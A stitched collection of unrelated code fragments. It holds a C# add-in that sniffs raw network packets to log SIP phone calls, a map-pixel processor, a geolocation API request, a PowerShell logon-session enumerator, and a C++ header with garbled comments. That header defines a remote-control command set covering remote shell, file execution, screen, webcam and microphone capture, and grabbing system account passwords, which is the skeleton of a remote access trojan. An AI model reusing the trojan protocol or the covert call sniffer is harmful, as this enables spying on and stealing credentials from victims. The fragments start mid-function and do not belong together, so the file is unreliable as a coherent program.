                    {
                        break;
                    }

                case 0x11 // UDP
       :
                    {
                        break;
                    }

                default:
                    {
                        break;
                    }
            }

            // For i = 0 To BytesReturned - 1
            // Debug.Write(Hex$(MyStateObject.buffer(i)) & " ")
            // If i = 9 Or i = 19 Or i = 29 Or i = 39 Or i = 49 Then Debug.WriteLine(DateTime.Now.ToString() + " - " +"")
            // Next
            // Debug.WriteLine(DateTime.Now.ToString() + " - " +"")
            // Debug.WriteLine(DateTime.Now.ToString() + " - " +"")
            // 

            switch (MyStateObject.buffer[9])
            {
                case 0x1:
                    {
                        string FROMIP = MyStateObject.buffer[12] + "." + MyStateObject.buffer[13] + "." + MyStateObject.buffer[14] + "." + MyStateObject.buffer[15];
                        string DESTIP = MyStateObject.buffer[16] + "." + MyStateObject.buffer[17] + "." + MyStateObject.buffer[18] + "." + MyStateObject.buffer[19];

                        if (FROMIP == MyIPAddr)
                        {
                            if (MyStateObject.buffer[20] == 0)
                                Debug.WriteLine(DateTime.Now.ToString() + " - " +"You sent a Ping Reply to: " + DESTIP);
                            else
                                Debug.WriteLine(DateTime.Now.ToString() + " - " +"You sent a Ping Request to: " + DESTIP);
                            RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
                            return;
                        }

                        if (MyStateObject.buffer[20] == 0)
                        {
                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Ping Reply: " + FROMIP);
                            RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
                            return;
                        }

                        Debug.WriteLine(DateTime.Now.ToString() + " - " +"Ping Request From - " + FROMIP + " | Bytes: " + (BytesReturned - 28) + " | TTL=" + MyStateObject.buffer[8]); // -28 shows the ping payload
                        break;
                    }

                case 0x2:
                    {
                        break;
                    }

                case 0x6:
                    {
                        //Debug.WriteLine(DateTime.Now.ToString() + " - " +"TCP ");
                        uint DestPort = MyStateObject.buffer[22];
                        DestPort <<= 8;
                        DestPort += MyStateObject.buffer[23];

                        uint SrcPort = MyStateObject.buffer[20];
                        SrcPort <<= 8;
                        SrcPort += MyStateObject.buffer[21];

                        string FROMIP = MyStateObject.buffer[12] + "." + MyStateObject.buffer[13] + "." + MyStateObject.buffer[14] + "." + MyStateObject.buffer[15];

                        string Data = null; // = System.Text.ASCIIEncoding.ASCII.GetString(MyStateObject.buffer)

                        if (DestPort != 5060 && SrcPort != 5060)
                        {
                            RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
                            return; 
                        }

                        foreach (byte MyByte in MyStateObject.buffer)
                        {
                            if ((MyByte >= 32 && MyByte <= 126) || MyByte == 0x0d || MyByte == 0x0a)
                                Data += System.Text.ASCIIEncoding.ASCII.GetString(new[] { MyByte });
                        }
                        Debug.WriteLine("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-");
                        //Debug.WriteLine(DateTime.Now.ToString() + " - " + "Data: " + SrcPort + " -> " + DestPort + " | " + Data);

                        string myTo = null;
                        string myFrom = null;
                        string myDuration = null;

                        MatchCollection matches = Regex.Matches(Data, @"(To|From):.*?<sip:[%|\d]{1,14}@.*?>");
                        // Loop over matches.
                        foreach (Match m in matches)
                        {
                            // Loop over captures.
                            foreach (Capture c in m.Captures)
                            {
                                // Display.
                                // Console.WriteLine("Index={0}, Value={1}", c.Index, c.Value)
                                if (c.Value.Contains("From:"))
                                    myFrom = c.Value;
                                if (c.Value.Contains("To:"))
                                    myTo = c.Value;
                            }


                        }

                        if (myTo == null || myFrom == null)
                        {
                            // System.Diagnostics.Debugger.Break();
                            RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
                            Debug.WriteLine("No to and from, Skipping...");
                            if (Data.Contains("BYE") && Data.Contains("RTP-TxStat:"))
                            {
                                //System.Diagnostics.Debugger.Break();
                            }
                            return;
                        }

                        if (Data.Contains("INVITE sip"))
                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Incomming call: " + myFrom + " -> " + myTo);

                        if (Data.Contains("Request Cancelled"))
                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Request Canceled: " + myFrom + " -> " + myTo);

                        //PhonePickedUpList
                        if (Data.Contains("ACK sip:"))
                        {
                            MatchCollection matches3 = Regex.Matches(Data, @"Session-ID: [[0-9a-fA-F]+;");
                            // Loop over matches.
                            foreach (Match m in matches3)
                            {
                                if (PhonePickedUpList.Contains(m.Value))
                                {
                                    //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call Concluded");
                                    RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
                                    return;
                                }
                                PhonePickedUpList.Add(m.Value);
                            }
                            Debug.WriteLine(DateTime.Now.ToString() + " - " + "Callee Picked up the phone: " + myFrom + " -> " + myTo);
                        }


                        if (Data.Contains("SIP/2.0 180 Ringing"))
                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Ringing Phone: " + myFrom + " -> " + myTo);

                        if (Data.Contains("UPDATE sip"))
                            Debug.WriteLine(DateTime.Now.ToString() + " - " + "UPDATE sip: " + myFrom + " -> " + myTo);

                        if (Data.Contains("CANCEL sip")) // Call missed
                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"CANCEL sip: " + myFrom + " -> " + myTo);

                        if (Data.Contains("UPDATE sip"))
                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"UPDATE sip: " + myFrom + " -> " + myTo);

                        if (Data.Contains("BYE sip"))
                        {
                            MatchCollection matches3 = Regex.Matches(Data, @"Session-ID: [[0-9a-fA-F]+;");
                            // Loop over matches.
                            foreach (Match m in matches3)
                            {
                                if (ByeSipList.Contains(m.Value))
                                {
                                    //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call Concluded");
                                    RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
                                    return;
                                }
                                ByeSipList.Add(m.Value);
                            }

                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call ending: " + myFrom + " -> " + myTo);

                            MatchCollection matches2 = Regex.Matches(Data, @"RTP-RxStat: Dur=[\d]+,");
                            // Loop over matches.
                            foreach (Match m in matches2)
                            {
                                myDuration = m.Value.ToString().Replace("RTP-RxStat: Dur=", "").Replace(",", "");
                                Debug.WriteLine(DateTime.Now.ToString() + " - " +"BYE sip: Duration of call in seconds: " + myDuration);
                            }

                            if (myDuration != null)
                            {
                                Int32 ISeconds = Convert.ToInt32(myDuration) + 60;
                                Double DSeconds = Convert.ToDouble(ISeconds);
                                if (!AddCallLog(" " + myFrom + " -> " + myTo, DSeconds)) //Add a minute to each call. Each call takes at least a minute of our day right?
                                {
                                    Debug.WriteLine(DateTime.Now.ToString() + " - " +"Failed to write calllog");
                                    //break;
                                }
                            }  
                        }



                        if (Data.Contains("BYE\r\nServer: Cisco-CSF") && Data.Contains("RTP-TxStat:")) //OKVia: SIP
                        {
                            MatchCollection matches3 = Regex.Matches(Data, @"Session-ID: [[0-9a-fA-F]+;");
                            // Loop over matches.
                            foreach (Match m in matches3)
                            {
                                if (ByeServerList.Contains(m.Value))
                                {
                                    //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call Concluded");
                                    RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
                                    return;
                                }
                                ByeServerList.Add(m.Value);
                            }

                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call ending from Callee: " + myFrom + " -> " + myTo);

                            MatchCollection matches2 = Regex.Matches(Data, @"RTP-RxStat: Dur=[\d]+,");
                            // Loop over matches.
                            foreach (Match m in matches2)
                            {
                                myDuration = m.Value.ToString().Replace("RTP-RxStat: Dur=", "").Replace(",", "");
                                Debug.WriteLine(DateTime.Now.ToString() + " - " + "BYEServer: Duration of call in seconds: " + myDuration);
                            }

                            if (myDuration != null)
                            {
                                Int32 ISeconds = Convert.ToInt32(myDuration) + 60;
                                Double DSeconds = Convert.ToDouble(ISeconds);
                                if (!AddCallLog(" " + myFrom + " -> " + myTo, DSeconds)) //Add a minute to each call. Each call takes at least a minute of our day right?
                                {
                                    Debug.WriteLine(DateTime.Now.ToString() + " - " +"Failed to write calllog");
                                    //break;
                                }
                            }
                        }


                        if (Data.Contains("Accepted"))
                            Debug.WriteLine(DateTime.Now.ToString() + " - " +"Accepted: " + myFrom + " -> " + myTo);

                        switch (MyStateObject.buffer[33])
                        {
                            case 0x2:
                                {
                                    break;
                                }

                            case 0x10:
                                {
                                    break;
                                }

                            case 0x11:
                                {
                                    break;
                                }

                            case 0x12:
                                {
                                    break;
                                }

                            case 0x14:
                                {
                                    break;
                                }

                            case 0x18:
                                {
                                    //Debug.Write("[PSH, ACK] - ");
                                    break;
                                }

                            default:
                                {
                                    break;
                                }
                        }

                        break;
                    }

                case 0x11:
                    {
                        break;
                    }

                default:
                    {
                        break;
                    }
            }

            // For i = 0 To BytesReturned - 1
            // Debug.Write(Hex$(MyStateObject.buffer(i)) & " ")
            // If i = 9 Or i = 19 Or i = 29 Or i = 39 Or i = 49 Then Debug.WriteLine(DateTime.Now.ToString() + " - " +"")
            // Next
            // Debug.WriteLine(DateTime.Now.ToString() + " - " +"")
            // Debug.WriteLine(DateTime.Now.ToString() + " - " +"")
            // 
            RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null);
        }



        #region VSTO generated code

        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        private void InternalStartup()
        {
            this.Startup += new System.EventHandler(ThisAddIn_Startup);
            this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown);
        }

        #endregion
    }
}
Public Class Form1
    Dim Cycles As Integer = 0
    Dim DictionaryListUsed As New Dictionary(Of Color, Integer)
    Dim DictionaryList As New Dictionary(Of Color, Integer)
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim img As Bitmap = New Bitmap("C:\Users\User\Desktop\GoogleMap.png")
        Dim x, y As Integer

        Using G As Graphics = Me.CreateGraphics
            Dim BMP As New Bitmap(img.Width, img.Height)
            Dim BMP2 As New Bitmap(img.Width, img.Height)

            Dim pixel As Color = Nothing
            For x = 0 To img.Width - 1
                For y = 0 To img.Height - 1
                    pixel = img.GetPixel(x, y)

                    If (DictionaryList.ContainsKey(pixel)) Then
                        DictionaryList(pixel) += 1
                    Else
                        DictionaryList.Add(pixel, 1)
                    End If

                    If pixel.R >= 252 And pixel.G = pixel.R And pixel.B = pixel.R Then 'WhiteWhite
                        BMP2.SetPixel(x, y, Color.Red)
                        'Continue For
                    End If
                    If pixel.R = 237 And pixel.G = 235 And pixel.B = 232 Then 'Grayer
                        'Continue For
                    End If
                    If pixel.R > 215 And pixel.R < 250 And ((pixel.G = pixel.R) Or ((pixel.G <= (pixel.R + 6)) And (pixel.G >= (pixel.R - 6)))) And ((pixel.B = pixel.R) Or ((pixel.B <= (pixel.R + 6)) And (pixel.B >= (pixel.R - 6)))) Then 'Some shade of Gray
                        Continue For
                    End If

                    If (DictionaryListUsed.ContainsKey(pixel)) Then
                        DictionaryListUsed(pixel) += 1
                    Else
                        DictionaryListUsed.Add(pixel, 1)
                    End If

                    BMP.SetPixel(x, y, pixel)

                    Cycles += 1

                    'Debug.WriteLine(x & "," & y & " - " & pixel.ToString)
                Next
            Next
            Debug.WriteLine(Cycles)


            'G.DrawImage(BMP, New Point(10, 10))
            PictureBox1.Image = BMP
            'G.DrawImage(BMP2, New Point(10, 10))
            PictureBox2.Image = BMP2
        End Using
        Dim sorted = From pair In DictionaryListUsed Order By pair.Value Descending
        Dim sortedDictionary = sorted.ToDictionary(Function(p) p.Key, Function(p) p.Value)
        Dim sorted2 = From pair In DictionaryList Order By pair.Value Descending
        Dim sortedDictionary2 = sorted2.ToDictionary(Function(p) p.Key, Function(p) p.Value)
        'PictureBox1.BackColor = sortedDictionary2.First().Key
        'End
        RepairRoad()
    End Sub

    Private Sub RepairRoad()
        Dim MyColor As Color = Color.FromArgb(255, 254, 0, 0)
        Dim img As Bitmap = PictureBox2.Image
        Dim pixel As Color = Nothing
        Dim Count As Integer = 0
        For x = 0 To img.Width - 1
            For y = 0 To img.Height - 1
                pixel = img.GetPixel(x, y)
                If pixel.R = 255 And pixel.G = 0 And pixel.B = 0 Then
                    Count = CheckSurroundingPixelForColor(img, New Point(x, y), Color.Red)
                    If Count > 3 Then

                        SetSurroundingPixelToColor(img, New Point(x, y), MyColor)
                    Else
                        Debug.WriteLine(Count)
                    End If
                    'Debug.WriteLine(pixel)
                    'System.Diagnostics.Debugger.Break()
                End If
            Next
        Next
    End Sub

    Private Function CheckSurroundingPixelForColor(ByVal MyBitmap As Bitmap, ByVal mypoint As Point, ByVal MyColor As Color) As Integer 'Returns number of surrounding pixels
        Dim Count As Integer = 0

        If mypoint.X > 0 Then

            If MyBitmap.GetPixel(mypoint.X - 1, mypoint.Y).ToArgb = MyColor.ToArgb Then Count += 1

            If mypoint.Y > 0 Then
                If MyBitmap.GetPixel(mypoint.X - 1, mypoint.Y - 1).ToArgb = MyColor.ToArgb Then Count += 1
            End If

            If mypoint.Y < MyBitmap.Height - 1 Then
                If MyBitmap.GetPixel(mypoint.X - 1, mypoint.Y + 1).ToArgb = MyColor.ToArgb Then Count += 1
            End If
        End If

        If mypoint.Y > 0 Then
            If MyBitmap.GetPixel(mypoint.X, mypoint.Y - 1).ToArgb = MyColor.ToArgb Then Count += 1
            If mypoint.X < MyBitmap.Width - 1 Then
                If MyBitmap.GetPixel(mypoint.X + 1, mypoint.Y - 1).ToArgb = MyColor.ToArgb Then Count += 1
            End If
        End If

        If mypoint.Y < MyBitmap.Height - 1 Then
            If MyBitmap.GetPixel(mypoint.X, mypoint.Y + 1).ToArgb = MyColor.ToArgb Then
                Count += 1
            End If
            If mypoint.X < MyBitmap.Width - 1 Then
                If MyBitmap.GetPixel(mypoint.X + 1, mypoint.Y + 1).ToArgb = MyColor.ToArgb Then Count += 1
            End If
        End If

        If mypoint.X < MyBitmap.Width - 1 Then
            If MyBitmap.GetPixel(mypoint.X + 1, mypoint.Y).ToArgb = MyColor.ToArgb Then Count += 1
        End If

        Return Count
    End Function

    Private Function SetSurroundingPixelToColor(ByVal MyBitmap As Bitmap, ByVal mypoint As Point, ByVal MyColor As Color) As Integer 'Returns number of surrounding pixels
        On Error Resume Next
        MyBitmap.SetPixel(mypoint.X - 1, mypoint.Y - 1, MyColor)
        MyBitmap.SetPixel(mypoint.X - 1, mypoint.Y, MyColor)
        MyBitmap.SetPixel(mypoint.X - 1, mypoint.Y + 1, MyColor)

        MyBitmap.SetPixel(mypoint.X, mypoint.Y - 1, MyColor)
        MyBitmap.SetPixel(mypoint.X, mypoint.Y + 1, MyColor)

        MyBitmap.SetPixel(mypoint.X + 1, mypoint.Y - 1, MyColor)
        MyBitmap.SetPixel(mypoint.X + 1, mypoint.Y, MyColor)
        MyBitmap.SetPixel(mypoint.X + 1, mypoint.Y + 1, MyColor)
    End Function

    Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
        Dim bmp As Bitmap = New Bitmap(PictureBox1.Image)
        Dim colour As Color = bmp.GetPixel(e.X, e.Y)
        Label1.Text = colour.ToString()
        bmp.Dispose()
    End Sub
End Class
Imports System.IO
Imports System.Net
Imports System.Text

Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        SendHTTPSPost()
    End Sub
    Sub SendHTTPSPost()
        ' Create a request using a URL that can receive a post. 
        Dim request As WebRequest = WebRequest.Create("https://api.skyhookwireless.com/wps2/location")
        'Dim request As WebRequest = WebRequest.Create("https://global.skyhookwireless.com/wps2/location")
        ' Set the Method property of the request to POST.
        request.Method = "POST"
        ' Create POST data and convert it to a byte array.
        Dim XML As String
        XML = "<LocationRQ xmlns='https://skyhookwireless.com/wps/2005' version='2.6' street-address-lookup='full'>"
        XML &= "<authentication version='2.0'>"
        If True Then
            XML &= "<key key='PUTYOUR-KEYHERE' username='name'/>"
        Else
            XML &= "<simple>"
            XML &= "<username>beta</username>"
            XML &= "<realm>js.loki.com</realm>"
            XML &= "</simple>"
        End If
        XML &= "</authentication>"

        XML &= "<access-point>"
        XML &= "<mac>10DA438900E0</mac>"
        XML &= "<signal-strength>-50</signal-strength>"
        XML &= "</access-point>"
        XML &= "</LocationRQ>"

        'Dim postData As String = "Content-Length: " & XMLExploit.Length & vbCrLf & vbCrLf & XMLExploit
        Dim postData As String = XML
        Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
        ' Set the ContentType property of the WebRequest.
        request.ContentType = "text/xml"
        ' Set the ContentLength property of the WebRequest.
        request.ContentLength = byteArray.Length
        ' Get the request stream.
        Dim dataStream As Stream = request.GetRequestStream()
        ' Write the data to the request stream.
        dataStream.Write(byteArray, 0, byteArray.Length)
        ' Close the Stream object.
        dataStream.Close()
        ' Get the response.
        Dim response As WebResponse = request.GetResponse()
        ' Display the status.
        Console.WriteLine(CType(response, HttpWebResponse).StatusDescription)
        ' Get the stream containing content returned by the server.
        dataStream = response.GetResponseStream()
        ' Open the stream using a StreamReader for easy access.
        Dim reader As New StreamReader(dataStream)
        ' Read the content.
        Dim responseFromServer As String = reader.ReadToEnd()
        ' Display the content.
        RichTextBox1.Text &= responseFromServer
        ' Clean up the streams.
        reader.Close()
        dataStream.Close()
        response.Close()
    End Sub

End Class
Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear();

$MethodDefinition = @’

[DllImport("Secur32.dll", CharSet = CharSet.Unicode)]
public static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList);

[DllImport("Secur32.dll", CharSet = CharSet.Unicode)]
public static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData);

‘@
$Secur32 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Secur32’ -Namespace ‘Secur32’ -PassThru

add-type -PassThru -TypeDefinition @"
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
namespace Ansible
   {

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct LSA_UNICODE_STRING
        {
            public UInt16 Length;
            public UInt16 MaximumLength;
            public IntPtr buffer;
        }

[StructLayout(LayoutKind.Sequential)]
        public struct LUID
        {
            public UInt32 LowPart;
            public Int32 HighPart;
        }

[StructLayout(LayoutKind.Sequential)]
public class SECURITY_LOGON_SESSION_DATA {
    public UInt32 Size;
    public LUID LoginID;
    public LSA_UNICODE_STRING Username;
    public LSA_UNICODE_STRING LoginDomain;
    public LSA_UNICODE_STRING AuthenticationPackage;
    public UInt32 LogonType;
    public UInt32 Session;
    public IntPtr PSiD;
    public UInt64 LoginTime;
    public LSA_UNICODE_STRING LogonServer;
    public LSA_UNICODE_STRING DnsDomainName;
    public LSA_UNICODE_STRING Upn;
}}
"@


function LsaEnumerateLogonSessions
{
    <#
    .SYNOPSIS
    The LsaEnumerateLogonSessions function retrieves the set of existing logon session identifiers (LUIDs) and the number of sessions.
    .DESCRIPTION
    To retrieve information about the logon sessions returned by LsaEnumerateLogonSessions, call the LsaGetLogonSessionData function.
    .NOTES
    Author: Jared Atkinson (@jaredcatkinson)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    .LINK
    https://msdn.microsoft.com/en-us/library/windows/desktop/aa378275(v=vs.85).aspx
    .EXAMPLE
    LsaEnumerateLogonSessions
    8
    2390553591808
    .EXAMPLE
    $SessionCount, $LogonSessionListPtr = LsaEnumerateLogonSessions
    #>

    <#
    (func secur32 LsaEnumerateLogonSessions ([UInt32]) @(
        [UInt64].MakeByRefType(), #_Out_ PULONG LogonSessionCount,
        [IntPtr].MakeByRefType()  #_Out_ PLUID  *LogonSessionList
    ))
    #>

    $LogonSessionCount = [UInt64]0
    $LogonSessionList = [IntPtr]::Zero

    $SUCCESS = $Secur32::LsaEnumerateLogonSessions([ref]$LogonSessionCount, [ref]$LogonSessionList)

    if($SUCCESS -ne 0)
    {
        $WinErrorCode = LsaNtStatusToWinError -NtStatus $success
        $LastError = [ComponentModel.Win32Exception]$WinErrorCode
        throw "LsaEnumerateLogonSessions Error: $($LastError.Message)"
    }

    return $LogonSessionCount, $LogonSessionList
}



function LsaGetLogonSessionData
{
    <#
    .SYNOPSIS

    The LsaGetLogonSessionData function retrieves information about a specified logon session.

    .DESCRIPTION

    .Parameter LuidPtr

    .Parameter SessionCount

    .NOTES

    Author: Jared Atkinson (@jaredcatkinson)
    License: BSD 3-Clause
    Required Dependencies: LsaNtStatusToWinError, SECURITY_LOGON_SESSION_DATA (Struct), SECURITY_LOGON_TYPE (Enum)
    Optional Dependencies: None

    (func secur32 LsaGetLogonSessionData ([UInt32]) @(
        [IntPtr], #_In_ PLUID LogonId,
        [IntPtr].MakeByRefType() #_Out_ PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
    ) -EntryPoint LsaGetLogonSessionData)

    .LINK

    https://msdn.microsoft.com/en-us/library/windows/desktop/aa378290(v=vs.85).aspx

    .EXAMPLE

    #>

    param
    (
        [Parameter(Mandatory = $true)]
        [IntPtr]
        $LuidPtr,

        [Parameter(Mandatory = $true)]
        [UInt32]
        $SessionCount
    )

    $CurrentLuidPtr = $LuidPtr

    for($i = 0; $i -lt $SessionCount; $i++)
    {
        $sessionDataPtr = [IntPtr]::Zero
        $SUCCESS = $Secur32::LsaGetLogonSessionData($CurrentLuidPtr, [ref]$sessionDataPtr)

        if($SUCCESS -ne 0)
        {
            $WinErrorCode = LsaNtStatusToWinError -NtStatus $success
            $LastError = [ComponentModel.Win32Exception]$WinErrorCode
            throw "LsaGetLogonSessionData Error: $($LastError.Message)"
        }

        try
        {
            Write-Host $sessionDataPtr.GetType()
            #$SECURITY_LOGON_SESSION_DATA
            $SECURITY_LOGON_SESSION_DATA = new-object Ansible.SECURITY_LOGON_SESSION_DATA
            #Write-Host $SECURITY_LOGON_SESSION_DATA.GetType()
            [Ansible.SECURITY_LOGON_SESSION_DATA]$sessionData = [system.runtime.interopservices.marshal]::PtrToStructure($sessionDataPtr,[type]$SECURITY_LOGON_SESSION_DATA)
            #$sessionData = $sessionDataPtr -as Ansible.SECURITY_LOGON_SESSION_DATA

            [Ansible.SECURITY_LOGON_SESSION_DATA]$sessionData = $sessionDataPtr
            Write-Host $sessionData.Username

            $props = @{
                LogonId = $sessionData.LogonId.LowPart
                UserName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.Username.Buffer, $sessionData.Username.Length / 2)
                LogonDomain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.LogonDomain.Buffer, $sessionData.LognDomain.Length / 2)
                AuthenticationPackage = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.AuthenticationPackage.Buffer, $sessionData.AuthenticationPackage.Length / 2)
                LogonType = $sessionData.LogonType -as $SECURITY_LOGON_TYPE
                Session = $sessionData.Session
                Sid = New-Object -TypeName System.Security.Principal.SecurityIdentifier($sessionData.PSiD)
                LogonTime = [datetime]::FromFileTime($sessionData.LogonTime)
                LogonServer = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.LogonServer.Buffer, $sessionData.LogonServer.Length / 2)
                DnsDomainName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.DnsDomainName.Buffer, $sessionData.DnsDomainName.Length / 2)
                Upn =  [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.Upn.Buffer, $sessionData.Upn.Length / 2)
                UserFlags = $sessionData.UserFlags
                LastSuccessfulLogon = $sessionData.LastLogonInfo.LastSuccessfulLogon
                LastFailedLogon = $sessionData.LastLogonInfo.LastFailedLogon
                FailedAttemptCountSinceLastSuccessfulLogon = $sessionData.LastLogonInfo.FailedAttemptCountSinceLastSuccessfulLogon
                LogonScript = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.LogonScript.Buffer, $sessionData.LogonScript.Length / 2)
                ProfilePath = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.ProfilePath.Buffer, $sessionData.ProfilePath.Length / 2)
                HomeDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.HomeDirectory.Buffer, $sessionData.HomeDirectory.Length / 2)
                HomeDirectoryDrive = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.HomeDirectoryDrive.Buffer, $sessionData.HomeDirectoryDrive.Length / 2)
                LogoffTime = $sessionData.LogoffTime
                KickOffTime = $sessionData.KickOffTime
                PasswordLastSet = [datetime]::FromFileTime($sessionData.PasswordLastSet)
                PasswordCanChange = [datetime]::FromFileTime($sessionData.PasswordCanChange)
                PasswordMustChange = $sessionData.PasswordMustChange
            }

            $obj = New-Object -TypeName psobject -Property $props

            Write-Output $obj
        }
        catch
        {
            write-host $_
            exit
        }

        #LsaFreeReturnBuffer -Buffer $sessionDataPtr
        $CurrentLuidPtr = [IntPtr]($CurrentLuidPtr.ToInt64() + $LUID::GetSize())
    }
}
$SessionCount, $LuidPtr = LsaEnumerateLogonSessions
$Sessions = LsaGetLogonSessionData -LuidPtr $LuidPtr -SessionCount $SessionCount

Work in progress

// ReadBridge.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _WINSOCK_DEPCRECATED
#include "ReadBridge.h"
#include "winternl.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif

class CModuleSocket
{
public:
    CModuleSocket(void);
    ~CModuleSocket(void);

    UINT32 ConnectServer(IN const char* pIpAddr, OUT SOCKET* pSocket, OUT bool* pbSuccess);  //Á¬½Ó·þÎñÆ÷

    UINT32 SendCommand(IN const SOCKET socket,
        IN char* szBuf,
        IN int bytes,
        OUT bool* pbSuccess);  //·¢ËÍÏûÏ¢

    UINT32 RecvCommand(IN const SOCKET socket,
        OUT char* szBuf,
        OUT int bytes,
        OUT bool *pbSuccess);   //½ÓÊÜÏûÏ¢

    void Clean();

public:
    UINT  m_nPort;   //Á¬½Ó¶Ë¿Ú
};

#pragma once
#include <windows.h>

//Êý¾Ý´«ÊäµÄ»º³åÇø´óС
#define CONTEXT_BUF_SIZE   (1024 * 4)
//IPµØÖ·»º³åÇø´óС
#define IPADDR_SIZE  32
//´ÓÍøÒ³»ñÈ¡IPµØÖ·µÄÐÅÏ¢»º³åÇø
#define WEBSITE_BUF_SIZE  512
//ÆÁÄ»´«ÊäµÄ»º³åÇø´óС
#define SCREEN_BUF_SIZE  4030
//ÊÓÆÁ´«Ê仺³åÇø´óС
#define VIDEO_BUF_SIZE   4020
//ÓïÒô´«Ê仺³åÇø´óС
#define AUDIO_BUF_SIZE   4078
//¼ôÌù°å´«Ê仺³åÇø´óС
#define CLIPBOARD_BUF_SIZE   4078

//---------------------------------------------------
//Ö¸ÁîµÄºê¶¨Òå

#define CMD_SHAKEHAND      0x01  //ÎÕÊÖÑéÖ¤
#define CMD_SYSINFO        0x02  //ϵͳÐÅÏ¢
#define CMD_DISKINFO       0x03  //´ÅÅÌÐÅÏ¢
#define CMD_FILELIST       0x04  //Îļþ¼ÐÐÅÏ¢
#define CMD_DOWNLOAD       0x05  //ÎļþÏÂÔØ
#define CMD_UPLOAD         0x06  //ÎļþÉÏ´«
#define CMD_FILEUPLOAD     0x07  //ÎļþÊý¾ÝÉÏ´«
#define CMD_FILEEXEC       0x08  //ÎļþÖ´ÐÐ
#define CMD_REFRESH        0x09  //Ë¢ÐÂ
#define CMD_FOLDER_CREATE  0x10  //´´½¨Ä¿Â¼(Îļþ¼Ð)
#define CMD_FILE_DEL       0x11  //Îļþ£¨¼Ð£©É¾³ý
#define CMD_FILE_COPY      0x12  //ÎļþµÄ¸´ÖÆ
#define CMD_FILE_PASTE     0x13  //ÎļþµÄÕ³Ìù
#define CMD_FILE_RENAME    0x14  //Îļþ(¼Ð)ÖØÃüÃû
#define CMD_ATTRIBUTE      0x15  //ÊôÐÔ
#define CMD_TELNET         0x16  //¿ªÆôÔ¶³ÌÖÕ¶Ë
#define CMD_COMMOND        0x17  //·¢ËÍÃüÁî
#define CMD_CHATMSG        0x18  //ÁÄÌìÏûÏ¢
#define CMD_PROGRESS       0x19  //½ø³Ì¹ÜÀí
#define CMD_PROC_TASKKILL  0x20  //¹Ø±Õ½ø³Ì
#define CMD_SCREEN         0x21  //ÆÁÄ»²é¿´
#define CMD_GETPWD         0x22  //»ñȡϵͳµÄÕʺÅÃÜÂë
#define CMD_VIDEO_VIEW     0x23  //ÊÓÆÁ²é¿´
#define CMD_OPERATOR       0x24  //¹Ø»ú/×¢Ïú/ÖØÆô
#define CMD_AUDIO          0x25  //ÓïÒô¼àÌý
#define CMD_BROADCAST      0x26  //Ô¶³ÌÃüÁî¹ã²¥
#define CMD_DESKTOP        0x27  //×ÀÃæ¹ÜÀí
//-----------------------------------------------------

typedef struct tagMSGINFO //´«ÊäÏûÏ¢½á¹¹Ìå
{
    int Msg_id;
    BYTE context[CONTEXT_BUF_SIZE];
}MSGINFO_S;

